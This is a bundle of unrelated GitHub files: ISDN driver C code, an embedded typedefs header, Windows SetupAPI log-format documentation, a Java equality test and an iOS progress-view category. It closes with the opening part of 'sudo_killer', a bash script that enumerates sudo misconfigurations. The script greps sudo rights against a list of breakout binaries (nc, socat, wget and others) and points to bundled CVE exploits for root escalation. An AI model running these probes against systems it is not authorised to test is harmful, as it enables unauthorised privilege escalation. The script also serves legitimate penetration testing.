if (clients[i].dma_handle >= 0) {
diva_free_dma_descriptor (clients[i].request, clients[i].dma_handle);
clients[i].dma_handle = -1;
}
}
diva_os_leave_spin_lock (&dbg_adapter_lock, &old_irql1, "unload");
if (pmem) {
diva_os_free (0, pmem);
}
}
return (fret);
}
/*
Set/Read the trace filter used for selective tracing.
Affects B- and Audio Tap trace mask at run time
*/
int diva_set_trace_filter (int filter_length, const char* filter) {
diva_os_spin_lock_magic_t old_irql, old_irql1;
int i, ch, on, client_b_on, client_atap_on;
diva_os_enter_spin_lock (&dbg_adapter_lock, &old_irql1, "dbg mask");
diva_os_enter_spin_lock (&dbg_q_lock, &old_irql, "write_filter");
if (filter_length <= DIVA_MAX_SELECTIVE_FILTER_LENGTH) {
memcpy (&TraceFilter[0], filter, filter_length);
if (TraceFilter[filter_length]) {
TraceFilter[filter_length] = 0;
}
if (TraceFilter[0] == '*') {
TraceFilter[0] = 0;
}
} else {
filter_length = -1;
}
TraceFilterIdent = -1;
TraceFilterChannel = -1;
on = (TraceFilter[0] == 0);
for (i = 1; i < ARRAY_SIZE(clients); i++) {
if (clients[i].hDbg && clients[i].pIdiLib && clients[i].request) {
client_b_on = on && ((clients[i].hDbg->dbgMask & DIVA_MGT_DBG_IFC_BCHANNEL) != 0);
client_atap_on = on && ((clients[i].hDbg->dbgMask & DIVA_MGT_DBG_IFC_AUDIO) != 0);
for (ch = 0; ch < clients[i].channels; ch++) {
(*(clients[i].pIdiLib->DivaSTraceSetBChannel))(clients[i].pIdiLib->hLib, ch+1, client_b_on);
(*(clients[i].pIdiLib->DivaSTraceSetAudioTap))(clients[i].pIdiLib->hLib, ch+1, client_atap_on);
}
}
}
for (i = 1; i < ARRAY_SIZE(clients); i++) {
if (clients[i].hDbg && clients[i].pIdiLib && clients[i].request && clients[i].request_pending) {
diva_os_leave_spin_lock (&dbg_q_lock, &old_irql, "write_filter");
clients[i].request_pending = 0;
(*(clients[i].request))((ENTITY*)(*(clients[i].pIdiLib->DivaSTraceGetHandle))(clients[i].pIdiLib->hLib));
diva_os_enter_spin_lock (&dbg_q_lock, &old_irql, "write_filter");
}
}
diva_os_leave_spin_lock (&dbg_q_lock, &old_irql, "write_filter");
diva_os_leave_spin_lock (&dbg_adapter_lock, &old_irql1, "dbg mask");
return (filter_length);
}
int diva_get_trace_filter (int max_length, char* filter) {
diva_os_spin_lock_magic_t old_irql;
int len;
diva_os_enter_spin_lock (&dbg_q_lock, &old_irql, "read_filter");
len = strlen (&TraceFilter[0]) + 1;
if (max_length >= len) {
memcpy (filter, &TraceFilter[0], len);
}
diva_os_leave_spin_lock (&dbg_q_lock, &old_irql, "read_filter");
return (len);
}
static int diva_dbg_cmp_key (const char* ref, const char* key) {
while (*key && (*ref++ == *key++));
return (!*key && !*ref);
}
/*
In case trace filter starts with "C" character then
all following characters are interpreted as command.
Followings commands are available:
- single, trace single call at time, independent from CPN/CiPN
*/
static int diva_mnt_cmp_nmbr (const char* nmbr) {
const char* ref = &TraceFilter[0];
int ref_len = strlen(&TraceFilter[0]), nmbr_len = strlen(nmbr);
if (ref[0] == 'C') {
if (diva_dbg_cmp_key (&ref[1], "single")) {
return (0);
}
return (-1);
}
if (!ref_len || (ref_len > nmbr_len)) {
return (-1);
}
nmbr = nmbr + nmbr_len - 1;
ref = ref + ref_len - 1;
while (ref_len--) {
if (*nmbr-- != *ref--) {
return (-1);
}
}
return (0);
}
static int diva_get_dma_descriptor (IDI_CALL request, dword *dma_magic) {
ENTITY e;
IDI_SYNC_REQ* pReq = (IDI_SYNC_REQ*)&e;
if (!request) {
return (-1);
}
pReq->xdi_dma_descriptor_operation.Req = 0;
pReq->xdi_dma_descriptor_operation.Rc = IDI_SYNC_REQ_DMA_DESCRIPTOR_OPERATION;
pReq->xdi_dma_descriptor_operation.info.operation = IDI_SYNC_REQ_DMA_DESCRIPTOR_ALLOC;
pReq->xdi_dma_descriptor_operation.info.descriptor_number = -1;
pReq->xdi_dma_descriptor_operation.info.descriptor_address = NULL;
pReq->xdi_dma_descriptor_operation.info.descriptor_magic = 0;
(*request)((ENTITY*)pReq);
if (!pReq->xdi_dma_descriptor_operation.info.operation &&
(pReq->xdi_dma_descriptor_operation.info.descriptor_number >= 0) &&
pReq->xdi_dma_descriptor_operation.info.descriptor_magic) {
*dma_magic = pReq->xdi_dma_descriptor_operation.info.descriptor_magic;
return (pReq->xdi_dma_descriptor_operation.info.descriptor_number);
} else {
return (-1);
}
}
static void diva_free_dma_descriptor (IDI_CALL request, int nr) {
ENTITY e;
IDI_SYNC_REQ* pReq = (IDI_SYNC_REQ*)&e;
if (!request || (nr < 0)) {
return;
}
pReq->xdi_dma_descriptor_operation.Req = 0;
pReq->xdi_dma_descriptor_operation.Rc = IDI_SYNC_REQ_DMA_DESCRIPTOR_OPERATION;
pReq->xdi_dma_descriptor_operation.info.operation = IDI_SYNC_REQ_DMA_DESCRIPTOR_FREE;
pReq->xdi_dma_descriptor_operation.info.descriptor_number = nr;
pReq->xdi_dma_descriptor_operation.info.descriptor_address = NULL;
pReq->xdi_dma_descriptor_operation.info.descriptor_magic = 0;
(*request)((ENTITY*)pReq);
}
| {
"pile_set_name": "Github"
} |
/***********************************************************************************************************************
* DISCLAIMER
* This software is supplied by Renesas Electronics Corporation and is only
* intended for use with Renesas products. No other uses are authorized. This
* software is owned by Renesas Electronics Corporation and is protected under
* all applicable laws, including copyright laws.
* THIS SOFTWARE IS PROVIDED "AS IS" AND RENESAS MAKES NO WARRANTIES REGARDING
* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT
* LIMITED TO WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE
* AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED.
* TO THE MAXIMUM EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS
* ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES SHALL BE LIABLE
* FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR
* ANY REASON RELATED TO THIS SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE
* BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
* Renesas reserves the right, without notice, to make changes to this software
* and to discontinue the availability of this software. By using this software,
* you agree to the additional terms and conditions found by accessing the
* following link:
* http://www.renesas.com/disclaimer
*
* Copyright (C) 2014 Renesas Electronics Corporation. All rights reserved.
***********************************************************************************************************************/
/***********************************************************************************************************************
* File Name : r_typedefs.h
* Device(s) : RZ/A1H (R7S910018)
* Tool-Chain : GNUARM-NONEv14.02-EABI
* H/W Platform : RSK+T1 CPU Board
* Description : basic type definition
***********************************************************************************************************************/
/***********************************************************************************************************************
* History : DD.MM.YYYY Version Description
* : 21.10.2014 1.00
***********************************************************************************************************************/
/***********************************************************************************************************************
Includes <System Includes> , "Project Includes"
***********************************************************************************************************************/
#include <stdint.h>
/* Multiple inclusion prevention macro */
#ifndef R_TYPEDEFS_H
#define R_TYPEDEFS_H
/* in case <stdio.h> has defined it. */
#ifndef NULL
#define NULL (0)
#endif
/***********************************************************************************************************************
Macro definitions
***********************************************************************************************************************/
#if !defined(__bool_true_false_are_defined) && !defined(__cplusplus)
#define FALSE (0)
#define TRUE (1)
#endif
/* These two macros are used to suppress warnings generated by unused variables.
Writing to some registers require a read instruction following the write.
A dummy variable is declared and used to read the register written to. */
#define UNUSED_PARAM(param) ((void)(param))
#define UNUSED_VARIABLE(param) ((void)(param))
/***********************************************************************************************************************
Typedef definitions
***********************************************************************************************************************/
typedef char char_t;
typedef unsigned int bool_t;
typedef int int_t;
typedef signed char int8_t;
typedef signed short int16_t;
typedef signed long int32_t;
typedef signed long long int64_t;
typedef unsigned char uint8_t;
typedef unsigned short uint16_t;
typedef unsigned long uint32_t;
typedef unsigned long long uint64_t;
typedef float float32_t;
typedef double float64_t;
typedef long double float128_t;
/* R_TYPEDEFS_H */
#endif
| {
"pile_set_name": "Github"
} |
---
title: Format of a Text Log Section
description: Format of a Text Log Section
ms.assetid: e0f7227c-6cd8-4c66-a38b-104f222847bc
keywords:
- sections WDK SetupAPI logging
- formats WDK SetupAPI logging
- text logs WDK SetupAPI , sections
- SetupAPI logging WDK Windows Vista , text log sections
ms.date: 04/20/2017
ms.localizationpriority: medium
---
# Format of a Text Log Section
A *text log section* includes a section header that opens the section, a section body that includes a sequence of log entries that apply to the section operation, and a section footer that closes the section. Section entries appear in a section in the same order in which they are written to the section.
The following example of a text log section shows the general format of a typical section, where the fields in italic font style are placeholders for section-specific text, and the remaining text in bold font style is generic text supplied by SetupAPI. The first two log entries comprise the section header and the last two log entries comprise the section footer.
```cpp
>>> [section_title - instance_identifer]
>>> time_stamp Section start
section body log entry
section body log entry
section body log entry
<<< [time_stamp: Section end]
<<< [Exit Status(status_value)]
```
The section body entries that are logged depend on the event level that is set for the log and the category levels that are enabled for the log. For more information about these settings, see [SetupAPI Logging Registry Settings](setupapi-logging-registry-settings.md).
The following is a typical example of a text log section that the Plug and Play (PnP) manager created to log entries that pertained to the installation of a PCI device. In the section header, the *section_title* field is "Device Install," the *instance_identifier* field is the device instance identifier "PCI\\VEN_104C&DEV_8019&SUBSYS_8010104C&REV_00\\3&61aaa01&0&38," and the *time_stamp* field is "2005/02/13 22:06:28.109:." In the section footer, the *status_value* field is "0x00000000" and the *time_stamp* field is "2005/02/13 22:06:20.000:." Only the first three section body log entries are included in this example. The event level for this example was set to TXTLOG_DETAILS and all category levels were enabled for this example.
```cpp
>>> [Device Install - PCI\VEN_104C&DEV_8019&SUBSYS_8010104C&REV_00\3&61aaa01&0&38]
>>> 2005/02/13 22:06:20.000: Section start
ndv: Retrieving device info...
ndv: Setting device parameters...
ndv: Building driver list...
...
... additional section body log entries, which are not shown
...
<<< [2005/02/13 22:06:28.109: Section end]
<<< [Exit Status(0x00000000)]
```
For detailed information about the content and format of a text log section, see [Format of a Text Log Section Header](format-of-a-text-log-section-header.md), [Format of a Text Log Section Body](format-of-a-text-log-section-body.md), and [Format of a Text Log Section Footer](format-of-a-text-log-section-footer.md).
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.ignite.ml.common;
import java.util.HashSet;
import java.util.Set;
import org.apache.ignite.ml.clustering.kmeans.KMeansModel;
import org.apache.ignite.ml.clustering.kmeans.KMeansModelFormat;
import org.apache.ignite.ml.knn.ann.ANNClassificationModel;
import org.apache.ignite.ml.knn.ann.ANNClassificationTrainer;
import org.apache.ignite.ml.knn.ann.ANNModelFormat;
import org.apache.ignite.ml.math.distances.EuclideanDistance;
import org.apache.ignite.ml.math.distances.HammingDistance;
import org.apache.ignite.ml.math.distances.ManhattanDistance;
import org.apache.ignite.ml.math.primitives.matrix.impl.DenseMatrix;
import org.apache.ignite.ml.math.primitives.vector.Vector;
import org.apache.ignite.ml.math.primitives.vector.impl.DenseVector;
import org.apache.ignite.ml.math.primitives.vector.impl.VectorizedViewMatrix;
import org.apache.ignite.ml.regressions.logistic.LogisticRegressionModel;
import org.apache.ignite.ml.structures.Dataset;
import org.apache.ignite.ml.structures.DatasetRow;
import org.apache.ignite.ml.structures.FeatureMetadata;
import org.apache.ignite.ml.structures.LabeledVector;
import org.apache.ignite.ml.structures.LabeledVectorSet;
import org.apache.ignite.ml.svm.SVMLinearClassificationModel;
import org.junit.Test;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotEquals;
/**
* Tests for equals and hashCode methods in classes that provide own implementations of these.
*/
public class CollectionsTest {
/** */
@Test
@SuppressWarnings("unchecked")
public void test() {
test(new VectorizedViewMatrix(new DenseMatrix(2, 2), 1, 1, 1, 1),
new VectorizedViewMatrix(new DenseMatrix(3, 2), 2, 1, 1, 1));
specialTest(new ManhattanDistance(), new ManhattanDistance());
specialTest(new HammingDistance(), new HammingDistance());
specialTest(new EuclideanDistance(), new EuclideanDistance());
FeatureMetadata data = new FeatureMetadata("name2");
data.setName("name1");
test(data, new FeatureMetadata("name2"));
test(new DatasetRow<>(new DenseVector()), new DatasetRow<>(new DenseVector(1)));
test(new LabeledVector<>(new DenseVector(), null), new LabeledVector<>(new DenseVector(1), null));
test(new Dataset<DatasetRow<Vector>>(new DatasetRow[] {}, new FeatureMetadata[] {}),
new Dataset<DatasetRow<Vector>>(new DatasetRow[] {new DatasetRow()},
new FeatureMetadata[] {new FeatureMetadata()}));
test(new LogisticRegressionModel(new DenseVector(), 1.0),
new LogisticRegressionModel(new DenseVector(), 0.5));
test(new KMeansModelFormat(new Vector[] {}, new ManhattanDistance()),
new KMeansModelFormat(new Vector[] {}, new HammingDistance()));
test(new KMeansModel(new Vector[] {}, new ManhattanDistance()),
new KMeansModel(new Vector[] {}, new HammingDistance()));
test(new SVMLinearClassificationModel(null, 1.0), new SVMLinearClassificationModel(null, 0.5));
test(new ANNClassificationModel(new LabeledVectorSet<>(), new ANNClassificationTrainer.CentroidStat()),
new ANNClassificationModel(new LabeledVectorSet<>(1, 1), new ANNClassificationTrainer.CentroidStat()));
test(new ANNModelFormat(1, new ManhattanDistance(), false, new LabeledVectorSet<>(),
new ANNClassificationTrainer.CentroidStat()),
new ANNModelFormat(2, new ManhattanDistance(), false, new LabeledVectorSet<>(),
new ANNClassificationTrainer.CentroidStat()));
}
/** Test classes that have all instances equal (eg, metrics). */
private <T> void specialTest(T o1, T o2) {
assertEquals(o1, o2);
test(o1, new Object());
}
/** */
private <T> void test(T o1, T o2) {
assertNotEquals(o1, null);
assertNotEquals(o2, null);
assertEquals(o1, o1);
assertEquals(o2, o2);
assertNotEquals(o1, o2);
Set<T> set = new HashSet<>();
set.add(o1);
set.add(o1);
assertEquals(1, set.size());
set.add(o2);
set.add(o2);
assertEquals(2, set.size());
set.remove(o1);
assertEquals(1, set.size());
set.remove(o2);
assertEquals(0, set.size());
}
}
| {
"pile_set_name": "Github"
} |
// UIProgressView+AFNetworking.m
// Copyright (c) 2011–2016 Alamofire Software Foundation ( http://alamofire.org/ )
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
#import "UIProgressView+AFNetworking.h"
#import <objc/runtime.h>
#if TARGET_OS_IOS || TARGET_OS_TV
#import "AFURLSessionManager.h"
static void * AFTaskCountOfBytesSentContext = &AFTaskCountOfBytesSentContext;
static void * AFTaskCountOfBytesReceivedContext = &AFTaskCountOfBytesReceivedContext;
#pragma mark -
@implementation UIProgressView (AFNetworking)
- (BOOL)af_uploadProgressAnimated {
return [(NSNumber *)objc_getAssociatedObject(self, @selector(af_uploadProgressAnimated)) boolValue];
}
- (void)af_setUploadProgressAnimated:(BOOL)animated {
objc_setAssociatedObject(self, @selector(af_uploadProgressAnimated), @(animated), OBJC_ASSOCIATION_RETAIN_NONATOMIC);
}
- (BOOL)af_downloadProgressAnimated {
return [(NSNumber *)objc_getAssociatedObject(self, @selector(af_downloadProgressAnimated)) boolValue];
}
- (void)af_setDownloadProgressAnimated:(BOOL)animated {
objc_setAssociatedObject(self, @selector(af_downloadProgressAnimated), @(animated), OBJC_ASSOCIATION_RETAIN_NONATOMIC);
}
#pragma mark -
- (void)setProgressWithUploadProgressOfTask:(NSURLSessionUploadTask *)task
animated:(BOOL)animated
{
[task addObserver:self forKeyPath:@"state" options:(NSKeyValueObservingOptions)0 context:AFTaskCountOfBytesSentContext];
[task addObserver:self forKeyPath:@"countOfBytesSent" options:(NSKeyValueObservingOptions)0 context:AFTaskCountOfBytesSentContext];
[self af_setUploadProgressAnimated:animated];
}
- (void)setProgressWithDownloadProgressOfTask:(NSURLSessionDownloadTask *)task
animated:(BOOL)animated
{
[task addObserver:self forKeyPath:@"state" options:(NSKeyValueObservingOptions)0 context:AFTaskCountOfBytesReceivedContext];
[task addObserver:self forKeyPath:@"countOfBytesReceived" options:(NSKeyValueObservingOptions)0 context:AFTaskCountOfBytesReceivedContext];
[self af_setDownloadProgressAnimated:animated];
}
#pragma mark - NSKeyValueObserving
- (void)observeValueForKeyPath:(NSString *)keyPath
ofObject:(id)object
change:(__unused NSDictionary *)change
context:(void *)context
{
if (context == AFTaskCountOfBytesSentContext || context == AFTaskCountOfBytesReceivedContext) {
if ([keyPath isEqualToString:NSStringFromSelector(@selector(countOfBytesSent))]) {
if ([object countOfBytesExpectedToSend] > 0) {
dispatch_async(dispatch_get_main_queue(), ^{
[self setProgress:[object countOfBytesSent] / ([object countOfBytesExpectedToSend] * 1.0f) animated:self.af_uploadProgressAnimated];
});
}
}
if ([keyPath isEqualToString:NSStringFromSelector(@selector(countOfBytesReceived))]) {
if ([object countOfBytesExpectedToReceive] > 0) {
dispatch_async(dispatch_get_main_queue(), ^{
[self setProgress:[object countOfBytesReceived] / ([object countOfBytesExpectedToReceive] * 1.0f) animated:self.af_downloadProgressAnimated];
});
}
}
if ([keyPath isEqualToString:NSStringFromSelector(@selector(state))]) {
if ([(NSURLSessionTask *)object state] == NSURLSessionTaskStateCompleted) {
@try {
[object removeObserver:self forKeyPath:NSStringFromSelector(@selector(state))];
if (context == AFTaskCountOfBytesSentContext) {
[object removeObserver:self forKeyPath:NSStringFromSelector(@selector(countOfBytesSent))];
}
if (context == AFTaskCountOfBytesReceivedContext) {
[object removeObserver:self forKeyPath:NSStringFromSelector(@selector(countOfBytesReceived))];
}
}
@catch (NSException * __unused exception) {}
}
}
}
}
@end
#endif
| {
"pile_set_name": "Github"
} |
#!/bin/bash
# This script was to developed to check for common misconfigurations and vulnerabilities of the sudo
# Version="version 1.3"
# Date Created : 08/12/2018
# Date of last modification : 06/08/2019
# @TH3_ACE - BLAIS David
# Future updates :
#
#
#
##### (Cosmetic) Colour output
RED="\033[01;31m" # Issues/Errors
GREEN="\033[01;32m" # Success
YELLOW="\033[01;33m" # Warnings/Information
BLUE="\033[01;34m" # Heading
BOLD="\033[01;01m" # Highlight
RESET="\033[00m" # Normal
##### help function
usage ()
{
##### echo -e " $version \n"
printf " $version \n"
echo -e " Example: ./sudo_killer.sh -c -r report.txt -e /tmp/ \n"
echo "OPTIONS:"
echo "-k Enter keyword"
echo "-e Enter export location"
echo "-s Supply user password for sudo checks (NOT SECURE)"
# echo "-t Include thorough (lengthy) tests"
echo "-c Include sudo CVE"
echo "-r Enter report name"
echo "-h Displays this help text"
echo -e "\n"
echo "Running with no options = limited scans/no output file"
echo -e " ######################################################### "
}
header()
{
cat << "EOF"
_____ _ _ _____ ____ _ _______ _ _ ______ _____
/ ____| | | | __ \ / __ \ | |/ /_ _| | | | | ____| __ \
| (___ | | | | | | | | | | | ' / | | | | | | | |__ | |__) |
\___ \| | | | | | | | | | | < | | | | | | | __| | _ /
____) | |__| | |__| | |__| | | . \ _| |_| |____| |____| |____| | \ \
|_____/ \____/|_____/ \____/ |_|\_\_____|______|______|______|_| \_\
EOF
# CANARY
}
intro()
{
#echo "${BOLD}${YELLOW}[+] Intro ${RESET}"
who=`whoami` 2>/dev/null
echo -e "${BLUE} @TH3_ACE - BLAIS David"
echo -e "${BLUE} Contribute and collaborate to the KILLER project @ https://github.com/TH3xACE"
echo -e "\n"
echo -e "${BOLD}${GREEN}[+] Intro ${RESET}"
echo -e "${BOLD}${YELLOW}Scan started at:${RESET}"; date
echo -e "\n"
echo -e "Current user: $who"
echo -e "\n"
if [ "$report" ]; then
echo -e "${BOLD}${YELLOW}[+] Report name: ${RESET} $report "
else
:
fi
if [ "$export" ]; then
echo -e "${BOLD}${YELLOW}[+] Export location: ${RESET} $export"
else
:
fi
echo -e "\n"
# PHASE 2
#if [ "$thorough" ]; then
# echo "[+] Thorough tests = Enabled"
#else
# echo -e "[+] Thorough tests = Disabled"
#fi
sleep 2
if [ "$export" ]; then
mkdir $export 2>/dev/null
format=$export/sudo_killer-export-`date +"%d-%m-%y"`
mkdir $format 2>/dev/null
else
:
fi
if [ "$sudopass" ]; then
echo -e "${RED} [+] Please enter password - NOT RECOMMENDED - For CTF use! ${RESET}"
read -s userpassword
echo
else
:
fi
}
footer()
{
echo -e "\n ${GREEN} [*##################### SCAN_COMPLETED ##########################*] ${RESET} "
}
checkinitial()
{
echo -e "${BOLD}${YELLOW}============ Initial check - Quick ================== ${RESET} \n"
# useful binaries (thanks to https://gtfobins.github.io/)
binarylist='nmap\|perl\|awk\|find\|bash\|sh\|man\|more\|less\|vi\|emacs\|vim\|nc\|netcat\|python\|ruby\|lua\|irb\|tar\|zip\|gdb\|pico\|scp\|git\|rvim\|script\|ash\|csh\|curl\|dash\|ed\|env\|expect\|ftp\|sftp\|node\|php\|rpm\|rpmquery\|socat\|strace\|taskset\|tclsh\|telnet\|tftp\|wget\|wish\|zsh\|ssh'
##### sudo version - check to see if there are any known vulnerabilities with this - CVE
sudover=`sudo -V 2>/dev/null| grep "Sudo version" 2>/dev/null`
if [ "$sudover" ]; then
echo -e "${BOLD}${GREEN}[+] Sudo version:${RESET}\n$sudover "
echo -e "\n"
else
:
fi
#pull out vital sudoers info
sudoers=`grep -v -e '^$' /etc/sudoers 2>/dev/null |grep -v "#" 2>/dev/null`
if [ "$sudoers" ]; then
echo -e "${BOLD}${GREEN}[+] Sudoers configuration (condensed) exported:${RESET}\n$sudoers"
echo -e "\n"
#export sudoers file to export location
if [ "$export" ] && [ "$sudoers" ]; then
mkdir $format/ 2>/dev/null
#cp /etc/sudoers $format/etc-export/sudoers 2>/dev/null
cp /etc/sudoers $format/sudoers_export 2>/dev/null
else
:
fi
else
if [ "$export" ] ; then
#sudoers=`echo '' | sudo -S -l -k 2>/dev/null` >> $format/sudoers_export.txt 2>/dev/null
sudoers="sudo -S -l -k"
$sudoers > $format/sudoers_export.txt
echo -e "${BOLD}${GREEN}[+] Sudoers configuration exported!${RESET} \n$sudoers"
echo -e "\n"
fi
fi
#can we sudo without supplying a password
sudoperms=`echo '' | sudo -S -l -k 2>/dev/null`
if [ "$sudoperms" ]; then
echo -e "${BOLD}${GREEN}[+] SUDO possible without a password!${RESET}\n$sudoperms"
echo -e "\n"
else
:
fi
#check sudo perms - authenticated
if [ "$sudopass" ]; then
if [ "$sudoperms" ]; then
:
else
sudoauth=`echo $userpassword | sudo -S -l -k 2>/dev/null`
if [ "$sudoauth" ]; then
echo -e "${BOLD}${GREEN}[+] SUDO possible with a password supplied!${RESET}\n$sudoauth"
echo -e "\n"
else
:
fi
fi
else
:
fi
##known 'good' breakout binaries (cleaned to parse /etc/sudoers for comma separated values) - authenticated
if [ "$sudopass" ]; then
if [ "$sudoperms" ]; then
:
else
sudopermscheck=`echo $userpassword | sudo -S -l -k 2>/dev/null | xargs -n 1 2>/dev/null|sed 's/,*$//g' 2>/dev/null | grep -w $binarylist 2>/dev/null`
if [ "$sudopermscheck" ]; then
echo -e "${BOLD}${GREEN}[+] Possible sudo pwnage!${RESET}\n$sudopermscheck"
echo -e "\n"
else
:
fi
fi
else
:
fi
#known 'good' breakout binaries (cleaned to parse /etc/sudoers for comma separated values)
sudopwnage=`echo '' | sudo -S -l -k 2>/dev/null | xargs -n 1 2>/dev/null | sed 's/,*$//g' 2>/dev/null | grep -w $binarylist 2>/dev/null`
if [ "$sudopwnage" ]; then
echo -e "${BOLD}${GREEN}[+] Possible sudo pwnage!${RESET}\n$sudopwnage"
echo -e "\n"
else
:
fi
#who has sudoed in the past
whohasbeensudo=`find /home -name .sudo_as_admin_successful 2>/dev/null`
if [ "$whohasbeensudo" ]; then
echo -e "[-] Accounts that have recently used sudo:\n$whohasbeensudo"
echo -e "\n"
else
:
fi
#check if selinux is enabled
sestatus=`sestatus 2>/dev/null`
if [ "$sestatus" ]; then
echo -e "[-] SELinux seems to be present: $sestatus, can execute /exploits/CVE-2017-1000367-2.c if vulnerable (Check CVEs)."
echo -e "\n"
fi
}
checkcve()
{
if [ "$sudocve" ]; then
echo -e "${BOLD}${YELLOW}============ Checking for disclosed vulnerabilities related to version used (CVE) ================== ${RESET} \n"
echo -e "${BOLD}${GREEN}[+] Sudo version vulnerable to the following CVEs:${RESET}"
sver_tmp=`sudo -V 2>/dev/null| grep "Sudo version" 2>/dev/null | cut -d" " -f 3 2>/dev/null`
sver=$(echo $sver_tmp | tr -d ' ' | sed 's/P/p/g')
cat cve.sudo2.txt | grep "$sver_tmp" | cut -d"+" -f 1,2
#echo -e "\n"
cve_vuln=`cat cve.sudo2.txt | grep "$(echo $sver)" | cut -d"+" -f 1`
while read -r line; do
#echo "$line"
cvepath=`ls -al exploits/ | grep "$line" | cut -d " " -f 11`
if [ "$cvepath" ]; then
echo -e "\n[+] Please find the following exploit for $line in the exploits' directory:"
echo -e "[*] Exploit /exploits/$cvepath \n"
fi
done <<< "$cve_vuln"
#cat cve.sudo.txt | while read line
#do
#echo $line
#done
else
:
fi
}
checkmisconfig()
{
echo -e "${BOLD}${YELLOW}============ Checking for Common Misconfiguration ================== ${RESET} \n"
sudochownrec=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD:" | grep "/bin/chown -hR"`
if [ "$sudochownrec" ]; then
echo -e "${BOLD}${GREEN}[+] Sudo chown with recursive, was found: ${RESET}\n $sudochownrec"
echo -e "[-] You can change the owner of directories, refer to /notes/chown-hR.txt \n"
# echo -e "[-] run the command: sudo chown -hR [new_owner:old_owner] [/parent/children] "
# echo -e "[-] you can then modify or create .sh script that can be run with root right "
# echo -e "[-] Refer to Possible sudo pwnag! from above "
# echo -e "[-] #! /bin/bash "
# echo -e "[-] bash "
# echo -e "[-] sudo ./[appp].sh \n"
else
:
fi
sudochown=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD:" | grep "/bin/chown"`
if [ "$sudochown" ]; then
echo -e "${BOLD}${GREEN}[+] Sudo chown, was found: ${RESET}\n $sudochown"
echo -e "[-] You can change the owner of directories, refer to /notes/chown-hR.txt \n "
else
:
fi
sudoimpuser=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD:" | grep "/bin/su"`
if [ "$sudoimpuser" ]; then
echo -e "${BOLD}${GREEN}[+] Sudo su, was found: ${RESET} \n $sudoimpuser"
echo -e "[-] You can impersonate users, by running the cmd: sudo su - [USER] "
echo -e "[+] Run the tool AGAIN for the impersonated user! \n"
else
:
fi
#sudonopassuser==`echo '' | sudo -S -l -k 2>/dev/null | grep "NOPASSWD:" | cut -d " " -f 5`
sudonopassuser==`echo '' | sudo -S -l -k 2>/dev/null | grep "NOPASSWD:" | grep "/bin\|/sbin"`
if [ "$sudonopassuser" ]; then
echo -e "${BOLD}${GREEN}[+] Sudo without password for other user, was found: ${RESET} \n $sudoimpuser"
echo -e "[-] You can impersonate users, by running the cmd: sudo -u [USER] /path/bin"
else
:
fi
##### CVE-2015-5602
##### The bug was found in sudoedit, which does not check the full path if a wildcard is used twice (e.g. /home/*/*/esc.txt),
##### this allows a malicious user to replace the esc.txt real file with a symbolic link to a different location (e.g. /etc/shadow).
sudodblwildcard=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD: sudoedit" | grep "/*/*/"`
if [ "$sudodblwildcard" ]; then
echo -e "\n"
echo -e "${BOLD}${GREEN}[+] Sudoedit with double wildcard was found was detected: ${RESET} \n $sudodblwildcard"
echo -e "[-] Vulnerable to CVE-2015-5602 if the sudo version is <=1.8.14, check the version of sudo"
echo -e "[*] Exploit: /exploits/CVE-2015-5602.sh"
echo -e "\n"
# echo -e "[-] run the command: sudo ./CVE-2015-5602.sh then su [RANDOM PASSWORD GENERATED]\n"
else
:
fi
# grep '*/\|/*\|*' or | grep '*/"\|"/*"\|"*''
sudowildcard=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD:" | grep '*/\|/*\|*' `
if [ "$sudowildcard" ]; then
echo -e "${BOLD}${GREEN}[+] Wildcard was found in the suoders file: ${RESET} \n $sudowildcard \n"
else
:
fi
sudowildcardsh=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD:" | grep "*" | grep ".sh"`
if [ "$sudowildcardsh" ]; then
echo -e "${BOLD}${GREEN}[+] Wildcard with a bash was found in the suoders file: ${RESET} \n $sudowildcardsh"
else
:
fi
echo -e "${BOLD}${YELLOW}============ Checking for File owner hijacking ================== ${RESET} \n"
##### Chown file reference trick (file owner hijacking)
